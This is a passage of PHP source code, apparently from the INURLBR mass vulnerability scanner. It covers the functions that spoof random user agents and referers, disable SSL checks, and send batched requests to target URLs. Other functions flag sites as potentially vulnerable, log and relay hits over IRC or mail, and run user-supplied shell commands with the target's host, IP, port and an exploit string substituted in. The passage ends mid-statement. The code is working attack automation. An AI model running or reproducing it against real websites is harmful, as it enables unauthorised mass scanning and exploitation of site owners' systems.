  1794.         'academias', 'acao', 'acartpro', 'acatalog', 'acc', 'acc_auto_del', 'acc_beep_ken', 'acc_beep_time', 'acc_ch_mail', 'acc_fc_prsc', 'accounts', 'validar',
  1795.         'acc_html_mark', 'acc_html_rand', 'acc_lan_page', 'acc_pic_html', 'acc_profol', 'acc_soft_link', 'acc_ssd_page', 'acc_syun_ei', 'german', 'intranet', 'old',
  1796.         'acc_time_go', 'acc_wbcreator', 'accept', 'accepted', 'acceso', 'access', 'accessibility', 'accessories', 'acciones', 'acclg', 'account', 'paste', 'paste22',
  1797.         'acessorios', 'acontece', 'acougueiro', 'acoustic', 'act', 'action', 'activate', 'active', 'activeden', 'activism', 'actualit', 'actuators', 'ad', 'informatica',
  1798.         'ad_division', 'ad_rate', 'adapter', 'adapters', 'adaptive', 'adaptivei', 'adatmentes', 'adbanner', 'adblock', 'adboard', 'adclick', 'add-ons', 'add', 'delete',
  1799.         'added', 'addon', 'address', 'adduser', 'adfree', 'adhoc', 'adinfo', 'adios_papa', 'adlink', 'adlinks', 'acc_folder_vw', 'acc_syun_su',
  1800.     );
  1801.  
  1802.     $locais = array('ac', 'ad', 'ae', 'af', 'ag', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn',
  1803.         'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'bo', 'br',
  1804.         'ec', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'bs', 'bt',
  1805.         'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'bv',
  1806.         'kh', 'ki', 'km', 'kn', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml',
  1807.         'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'nb', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
  1808.         'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si',
  1809.         'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'ss', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tr', 'tt', 'tv',
  1810.         'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'yu', 'za', 'zm', 'zw', 'ai',
  1811.     );
  1812.     return "http://www." . strtolower($dominio[rand(0, count($dominio) - 1)]) . ".{$gTLD[rand(0, count($gTLD) - 1)]}.{$locais[rand(0, count($locais) - 1)]}/{$pasta[rand(0, count($pasta) - 1)]}/{$arquivo[rand(0, count($arquivo) - 1)]}.{$ext[rand(0, count($ext) - 1)]}";
  1813. }
  1814.  
  1815. ################################################################################
  1816. #GENERATE AGENT BROWSER random##################################################
  1817. ################################################################################
  1818.  
  1819. function __setUserAgentRandom() {
  1820.  
  1821.     $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
  1822.         'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse',
  1823.         'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail',
  1824.         'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat',
  1825.         'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera'
  1826.     );
  1827.  
  1828.     $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
  1829.         'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
  1830.         'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
  1831.         'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu',
  1832.         'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux',
  1833.         'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux',
  1834.         'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS',
  1835.         'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux',
  1836.         'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux',
  1837.         'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris',
  1838.         'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix',
  1839.         'z/OS', 'Xinu', 'Research Unix', 'InfernoOS'
  1840.     );
  1841.  
  1842.     $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
  1843.         'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
  1844.         'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
  1845.         'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
  1846.         'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE',
  1847.         'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE',
  1848.         'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY',
  1849.         'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME',
  1850.         'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV',
  1851.         'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE',
  1852.         'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi'
  1853.     );
  1854.     return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
  1855. }
  1856.  
  1857. ################################################################################
  1858. #RESPONSIBLE FOR RUN COMMANDS IN TERMINAL the installation of facilities########
  1859. ################################################################################
  1860.  
  1861. function __installDepencia() {
  1862.  
  1863.     echo __bannerlogo() . __plus();
  1864.     echo "\n{$_SESSION["c15"]}|_[ * ]__{$_SESSION["c0"]}\n";
  1865.     echo "         {$_SESSION["c15"]}|[EXTERNAL COMMAND INSTALLING PREMISES ]:: {$_SESSION["c11"]}\n";
  1866.     $dados = system("sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl", $dados) . __plus();
  1867.     sleep(1) . __plus();
  1868.     echo "{$_SESSION["c0"]}";
  1869.     if (empty($dados)) {
  1870.  
  1871.         return FALSE;
  1872.     }
  1873.     unset($dados);
  1874.     exit();
  1875. }
  1876.  
  1877. ################################################################################
  1878. #RESPONSIBLE FOR RUN COMMANDS IN TERMINAL#######################################
  1879. ################################################################################
  1880.  
  1881. function __command($commando, $alvo) {
  1882.  
  1883.     if (!is_null($commando)) {
  1884.  
  1885.         (strstr($commando, '_TARGET_') ||
  1886.                 strstr($commando, '_TARGETFULL_') ||
  1887.                 strstr($commando, '_TARGETIP_') ||
  1888.                 strstr($commando, '_EXPLOIT_') ||
  1889.                 strstr($commando, '_URI_') ||
  1890.                 strstr($commando, '_URI_') ||
  1891.                 strstr($commando, '_PORT_') ||
  1892.                 strstr($commando, '_RANDOM_') ? NULL :
  1893.                         __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]}SET PARAMETER - command correctly{$_SESSION["c0"]}\n"));
  1894.  
  1895.         $uri = parse_url($alvo['url_xpl']);
  1896.  
  1897.         $command[0] = str_replace("_TARGET_", "{$_SESSION["c8"]}" . __filterHostname($alvo['url_xpl']) . "{$_SESSION["c1"]}", $commando);
  1898.         $command[0] = str_replace('_TARGETIP_', "{$_SESSION["c9"]}{$_SESSION['config']['server_ip']}{$_SESSION["c1"]}", $command[0]);
  1899.         $command[0] = str_replace('_TARGETFULL_', "{$_SESSION["c14"]}{$alvo['url_clean']}{$_SESSION["c1"]}", $command[0]);
  1900.         $command[0] = str_replace('_TARGETXPL_', "{$_SESSION["c14"]}{$alvo['url_xpl']}{$_SESSION["c1"]}", $command[0]);
  1901.         $command[0] = str_replace("_EXPLOIT_", "{$_SESSION["c6"]}{$_SESSION['config']['exploit-command']}{$_SESSION["c1"]}", $command[0]);
  1902.         $command[0] = str_replace('_URI_', "{$_SESSION["c8"]}{$uri['path']}{$_SESSION["c1"]}", $command[0]);
  1903.         $command[0] = str_replace('_PORT_', "{$_SESSION["c9"]}{$alvo['url_port']}{$_SESSION["c1"]}", $command[0]);
  1904.         $command[0] = str_replace('_RANDOM_', "{$_SESSION["c15"]}" . random(5) . "{$_SESSION["c1"]}", $command[0]);
  1905.  
  1906.         $command[0] = __crypt($command[0]);
  1907.  
  1908.         $command[1] = str_replace("_TARGET_", __filterHostname($alvo['url_clean']), $commando);
  1909.         $command[1] = str_replace('_TARGETIP_', $_SESSION['config']['server_ip'], $command[1]);
  1910.         $command[1] = str_replace('_TARGETFULL_', $alvo['url_clean'], $command[1]);
  1911.         $command[1] = str_replace('_TARGETXPL_', $alvo['url_xpl'], $command[1]);
  1912.         $command[1] = str_replace("_EXPLOIT_", $_SESSION['config']['exploit-command'], $command[1]);
  1913.         $command[1] = str_replace("_URI_", $uri['path'], $command[1]);
  1914.         $command[1] = str_replace("_PORT_", $alvo['url_port'], $command[1]);
  1915.         $command[1] = str_replace("_RANDOM_", random(5), $command[1]);
  1916.         $command[1] = str_replace("\n", '', str_replace("\r", '', $command[1]));
  1917.  
  1918.         $command[1] = __crypt($command[1]);
  1919.  
  1920.         echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
  1921.         echo "         |[ EXTERNAL COMMAND ]:: {$command[0]}{$_SESSION["c11"]}\n";
  1922.         $_ = array(0 => ($_SESSION['config']['popup']) ? 'sudo xterm -geometry 134x50+1900+0 -title "Auxiliary Window - INURLBR / COMMAND" -e ' : NULL, 1 => ($_SESSION['config']['popup']) ? ' > /dev/null &' : NULL);
  1923.         echo ($_SESSION['config']['popup'] ? "\t[!] opening auxiliary window...\n" : NULL);
  1924.         $dados = system($_[0] . $command[1] . $_[1], $dados);
  1925.         sleep(1) . __plus();
  1926.  
  1927.         echo $_SESSION["c0"];
  1928.     }
  1929.     if (empty($dados[0])) {
  1930.  
  1931.         return FALSE;
  1932.     }
  1933.     unset($dados);
  1934. }
  1935.  
  1936. ################################################################################
  1937. #FILTER BY TAKING ONLY RESPONSIBLE URL HOSTNAME#################################
  1938. ################################################################################
  1939.  
  1940. function __filterHostname($url) {
  1941.  
  1942.     $alvo_ = NULL;
  1943.     //#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i - 1.0
  1944.     preg_match_all('@^(?:(ht|f)tps?://*)?([^/]+)@i', $url, $alvo_);
  1945.     return str_replace("/", '', str_replace("ftps:", '', str_replace("ftp:", '', str_replace("https:", '', str_replace("http:", '', $alvo_[0][0])))));
  1946. }
  1947.  
  1948. ################################################################################
  1949. #RESPONSIBLE FOR ALL REQUESTS GET / POST THE SCRIPT#############################
  1950. ################################################################################
  1951. /*
  1952.   curl_multi_init — Returns a new cURL multi handle
  1953.   (PHP 5) http://php.net/manual/en/function.curl-multi-init.php
  1954.  */
  1955.  
  1956. function __request_info($url_, $proxy = NULL, $postDados = NULL) {
  1957.  
  1958.     $url_ = __crypt($url_);
  1959.     $mh = curl_multi_init();
  1960.     $curl_array = array();
  1961.     $nodes = is_array($url_) ? $url_ : array($url_);
  1962.  
  1963.     foreach ($nodes as $i => $url) {
  1964.  
  1965.         $curl_array[$i] = curl_init($url);
  1966.  
  1967.         __plus();
  1968.  
  1969.         //FORMATANDO POST & EXECUTANDO urlencode EM CADA VALOR DO POST.
  1970.         if (not_isnull_empty($postDados) && is_array($postDados)) {
  1971.  
  1972.             foreach ($postDados as $campo => $valor) {
  1973.  
  1974.                 $postDados_format .= "{$campo}=" . urlencode($valor) . '&';
  1975.             }
  1976.  
  1977.             $postDados_format = rtrim($postDados_format, '&');
  1978.             curl_setopt($curl_array[$i], CURLOPT_POST, count($postDados));
  1979.             curl_setopt($curl_array[$i], CURLOPT_POSTFIELDS, __crypt($postDados_format));
  1980.         }
  1981.  
  1982.         curl_setopt($curl_array[$i], CURLOPT_HTTPHEADER, array_merge(not_isnull_empty($_SESSION['config']['http-header']) ?
  1983.                                 explode(',', __crypt($_SESSION['config']['http-header'])) : array(), array("Cookie: disclaimer_accepted=true")));
  1984.         curl_setopt($curl_array[$i], CURLOPT_USERAGENT, (not_isnull_empty($_SESSION['config']['user-agent'])) ?
  1985.                         __crypt($_SESSION['config']['user-agent']) : __setUserAgentRandom());
  1986.         curl_setopt($curl_array[$i], CURLOPT_REFERER, (not_isnull_empty($_SESSION['config']['url-reference'])) ?
  1987.                         __crypt($_SESSION['config']['url-reference']) : __setURLReferenceRandom());
  1988.  
  1989.         (!is_null($proxy) ? curl_setopt($curl_array[$i], CURLOPT_PROXY, $proxy) : NULL);
  1990.         (!is_null($_SESSION['config']['verifica_info'])) ? curl_setopt($curl_array[$i], CURLOPT_HEADER, 1) : NULL;
  1991.         (!is_null($_SESSION['config']['verifica_info']) && __validateOptions('3,6', $_SESSION['config']['debug']) ?
  1992.                         curl_setopt($curl_array[$i], CURLOPT_VERBOSE, 1) : NULL);
  1993.  
  1994.         __plus();
  1995.         curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYPEER, 0);
  1996.         curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYHOST, 0);
  1997.         curl_setopt($curl_array[$i], CURLOPT_FRESH_CONNECT, 1);
  1998.         curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, 1);
  1999.  
  2000.         curl_setopt($curl_array[$i], CURLOPT_CONNECTTIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ?
  2001.                         $_SESSION['config']['time-out'] : 5);
  2002.  
  2003.         curl_setopt($curl_array[$i], CURLOPT_TIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ?
  2004.                         $_SESSION['config']['time-out'] : 5);
  2005.  
  2006.         curl_setopt($curl_array[$i], CURLOPT_COOKIEFILE, not_isnull_empty($_SESSION['config']['file-cookie']) ?
  2007.                         $_SESSION['config']['file-cookie'] : 'cookie.txt');
  2008.  
  2009.         curl_setopt($curl_array[$i], CURLOPT_COOKIEJAR, not_isnull_empty($_SESSION['config']['file-cookie']) ?
  2010.                         $_SESSION['config']['file-cookie'] : 'cookie.txt');
  2011.  
  2012.         curl_multi_add_handle($mh, $curl_array[$i]);
  2013.     }
  2014.     $running = NULL;
  2015.     do {
  2016.  
  2017.         usleep(100);
  2018.         curl_multi_exec($mh, $running);
  2019.     } while ($running > 0);
  2020.     $ret = array();
  2021.     foreach ($nodes as $i => $url) {
  2022.  
  2023.         $ret[0] = curl_multi_getcontent($curl_array[$i]);
  2024.         $ret[1] = curl_getinfo($curl_array[$i]);
  2025.         $ret[2] = curl_error($curl_array[$i]);
  2026.     }
  2027.     foreach ($nodes as $i => $url) {
  2028.         curl_multi_remove_handle($mh, $curl_array[$i]);
  2029.     }
  2030.  
  2031.     $status = NULL;
  2032.     preg_match_all('(HTTP.*)', $ret[0], $status['http']);
  2033.     preg_match_all('(Server:.*)', $ret[0], $status['server']);
  2034.     preg_match_all('(X-Powered-By:.*)', $ret[0], $status['X-Powered-By']);
  2035.  
  2036.     __plus();
  2037.     $ret[3] = str_replace("\r", '', str_replace("\n", '', "{$status['http'][0][0]}, {$status['server'][0][0]}  {$status['X-Powered-By'][0][0]}"));
  2038.     __debug(array('debug' => "[ BODY ]{$ret[0]}", 'function' => '__request_info'), 4);
  2039.  
  2040.     __plus();
  2041.     __debug(array('debug' => "[ URL ]{$url_}", 'function' => '__request_info'), 2);
  2042.  
  2043.     __plus();
  2044.     curl_multi_close($mh) . unlink('cookie.txt');
  2045.  
  2046.     __plus();
  2047.     unset($curl_array);
  2048.     return isset($ret[0]) ? array('corpo' => $ret[0], 'server' => $ret[1], 'error' => $ret[2], 'info' => $ret[3]) : FALSE;
  2049. }
  2050.  
  2051. ################################################################################
  2052. #CAPTURE INFORMATION SERVER AND VALIDATE FAULTS#################################
  2053. ################################################################################
  2054.  
  2055. function __infoServer($url_, $postDados = NULL) {
  2056.  
  2057.     __plus();
  2058.     $_SESSION['config']['verifica_info'] = 1;
  2059.     $resultado = __request_info($url_, $_SESSION["config"]["proxy"], $postDados);
  2060.     __plus();
  2061.     if (isset($resultado['corpo'])) {
  2062.         if (!is_null($_SESSION['config']['extrai-email'])) {
  2063.  
  2064.             __plus();
  2065.             return __extractEmail($resultado['corpo'], $url_);
  2066.         }
  2067.  
  2068.         if (!is_null($_SESSION['config']['extrai-url'])) {
  2069.  
  2070.             __plus();
  2071.             return __extractURLs($resultado['corpo'], $url_);
  2072.         }
  2073.  
  2074.         if (not_isnull_empty($_SESSION['config']['regexp-filter'])) {
  2075.  
  2076.             __plus();
  2077.             return __extractRegCustom($resultado['corpo'], $url_);
  2078.         }
  2079.  
  2080.         if (not_isnull_empty($_SESSION['config']['target']) && $_SESSION['config']['tipoerro'] == 5) {
  2081.  
  2082.             __plus();
  2083.             return __checkURLs($resultado, $url_);
  2084.         }
  2085.  
  2086.         $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) &&
  2087.                 strstr($resultado['server']['http_code'], $_SESSION['config']['ifcode']) ?
  2088.                 "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL;
  2089.  
  2090.  
  2091.         $ifredirect = not_isnull_empty($_SESSION['config']['ifredirect']) &&
  2092.                 (strstr($resultado['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ?
  2093.                 'VALUE URL REDIRECT FOUND' : NULL;
  2094.  
  2095.         $_SESSION['config']['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado['corpo']);
  2096.         __plus();
  2097.         $_SESSION['config']['curl_getinfo'] = $resultado['server'];
  2098.         $_SESSION['config']['error_conection'] = (not_isnull_empty($resultado['error']) ? $resultado['error'] : NULL);
  2099.         $_SESSION['config']['server_ip'] = (!is_null($resultado['server']['primary_ip']) ? $resultado['server']['primary_ip'] : NULL);
  2100.         $_SESSION['config']['vull_style'] = (not_isnull_empty($_SESSION['config']['erroReturn'])) ?
  2101.                 "{$_SESSION["c4"]}( POTENTIALLY VULNERABLE ){$_SESSION["c0"]}  \033[1m \033[32m" . __cli_beep() : NULL;
  2102.         $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_SESSION['config']['erroReturn'])) ? "{$url_}\n" : NULL;
  2103.         __plus();
  2104.         $url_ = ($_SESSION['config']['alexa-rank']) ? ", RANK ALEXA: " . __positionAlexa($url_) : NULL;
  2105.         __plus();
  2106.         $_SESSION['config']['info_ip'] = __infoIP($resultado['server']['primary_ip'], 1);
  2107.         __plus();
  2108.     } else {
  2109.         return FALSE;
  2110.     }
  2111.     __plus();
  2112.  
  2113.     return "{$resultado['info']}, IP:{$resultado['server']['primary_ip']}:{$resultado['server']['primary_port']} {$url_}";
  2114. }
  2115.  
  2116. ################################################################################
  2117. #ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF MOTOR#####################
  2118. ################################################################################
  2119.  
  2120. function __processUrlExec($url, $contUrl) {
  2121.  
  2122.     __plus();
  2123.     if (is_null($url) || empty($url)) {
  2124.  
  2125.         return FALSE;
  2126.     }
  2127.  
  2128.     $host = (!is_null($_SESSION['config']['replace'])) ?
  2129.             __replace($_SESSION['config']['replace'], urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url))) :
  2130.             urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url));
  2131.  
  2132.     $target_['url_xpl'] = __remove($_SESSION['config']['remove'], __mountURLExploit(!is_null($_SESSION['config']['url']) ? $_SESSION['config']['url'] . $host : $host));
  2133.     $info = __infoServer($target_['url_xpl'], $_SESSION['config']['exploit-post']);
  2134.     $target_['url_clean'] = ($_SESSION['config']['tipoerro'] == 4) ? $_SESSION['config']['url'] . $host : urldecode($url);
  2135.  
  2136.     __plus();
  2137.  
  2138.     if ($_SESSION['config']['tipoerro'] != 5 && is_null($_SESSION['config']['extrai-email']) &&
  2139.             is_null($_SESSION['config']['extrai-url']) && is_null($_SESSION['config']['regexp-filter'])) {
  2140.  
  2141.         $ifredirect = strstr($_SESSION['config']['curl_getinfo']['redirect_url'], $_SESSION['config']['ifredirect']) ?
  2142.                 "{$_SESSION["c4"]}{$_SESSION['config']['curl_getinfo']['redirect_url']}" : NULL;
  2143.         $exget = (not_isnull_empty($_SESSION['config']['exploit-get']) ? ' _/GET=> ' . $_SESSION['config']['exploit-get'] : NULL);
  2144.         $expost = (not_isnull_empty($_SESSION['config']['exploit-post']) ? ' _/POST=> ' . $_SESSION['config']['exploit-post_str'] : NULL);
  2145.         $valid_return = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? TRUE : FALSE;
  2146.         $info = ($valid_return) ? "{$_SESSION["c4"]}{$info}" : $info;
  2147.         $target_ip = ($valid_return) ? "{$_SESSION["c4"]}{$_SESSION['config']['info_ip']}" : $_SESSION['config']['info_ip'];
  2148.  
  2149.         $anime = ($valid_return) ? '[ ! ]' : '[ - ]';
  2150.         echo __plus() . "\n";
  2151.  
  2152.         echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
  2153.         echo "{$_SESSION["c1"]}|_[ + ] [{$_SESSION["c1"]} {$contUrl} / {$_SESSION['config']['total_url']} {$_SESSION["c1"]}]{$_SESSION["c9"]}-[" . date("H:i:s") . "]{$_SESSION["c1"]} {$anime} {$_SESSION["c0"]}\n";
  2154.         echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Target:: {$_SESSION["c1"]}[{$_SESSION["c9"]} {$_SESSION['config']['vull_style']}{$target_['url_clean']}{$_SESSION["c1"]} ]{$_SESSION["c0"]}\n";
  2155.         echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Exploit:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$exget}{$expost}{$_SESSION["c0"]}\n";
  2156.         echo (not_isnull_empty($_SESSION['config']['replace'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Replace:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['replace']}{$_SESSION["c0"]}\n") : NULL;
  2157.         echo (not_isnull_empty($_SESSION['config']['remove'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Remove:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['remove']}{$_SESSION["c0"]}\n") : NULL;
  2158.         echo (isset($_SESSION['config']['cms-check-resultado'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}CMS check:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['cms-check-resultado']}{$_SESSION["c0"]}\n") : NULL;
  2159.         echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Information Server:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$info}{$_SESSION["c1"]}\n";
  2160.         echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}More details:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$target_ip}{$_SESSION["c1"]}\n";
  2161.         echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Found:: {$_SESSION["c9"]}" . ($valid_return ? "{$_SESSION["c4"]}{$_SESSION['config']['erroReturn']}" : "UNIDENTIFIED") . "{$_SESSION["c0"]}";
  2162.         echo (not_isnull_empty($ifredirect) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}URL REDIRECT:: {$_SESSION["c9"]}{$ifredirect}{$_SESSION["c0"]}" : NULL);
  2163.         echo (not_isnull_empty($_SESSION['config']['error_conection']) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}ERROR CONECTION:: {$_SESSION["c2"]}{$_SESSION['config']['error_conection']}{$_SESSION["c0"]}" : NULL);
  2164.         ($valid_return ? __saveValue($_SESSION['config']['arquivo_output'], $target_['url_xpl'], 1) : NULL);
  2165.         echo ($_SESSION['config']['sendmail'] ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}SEND MAIL:: {$_SESSION["c9"]}" . (($valid_return) ? "{$_SESSION["c4"]}" : NULL) . __sendMail($_SESSION['config']['sendmail'], $target_['url_xpl']) . "{$_SESSION["c0"]}" : NULL);
  2166.         (not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? __saveValue($_SESSION['config']['arquivo_output_all'], $target_['url_xpl'], NULL) : NULL);
  2167.         __plus();
  2168.  
  2169.         if ($valid_return) {
  2170.  
  2171.             (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ?
  2172.                             __ircMsg($_SESSION['config']['irc'], "{$_SESSION['config']['erroReturn']}::: {$target_['url_xpl']}") : NULL);
  2173.             __plus();
  2174.  
  2175.             (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL);
  2176.             __plus();
  2177.  
  2178.             (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ?
  2179.                             __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL);
  2180.             __plus();
  2181.         }
  2182.  
  2183.         (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL);
  2184.         __plus();
  2185.  
  2186.         (not_isnull_empty($_SESSION['config']['sub-file']) &&
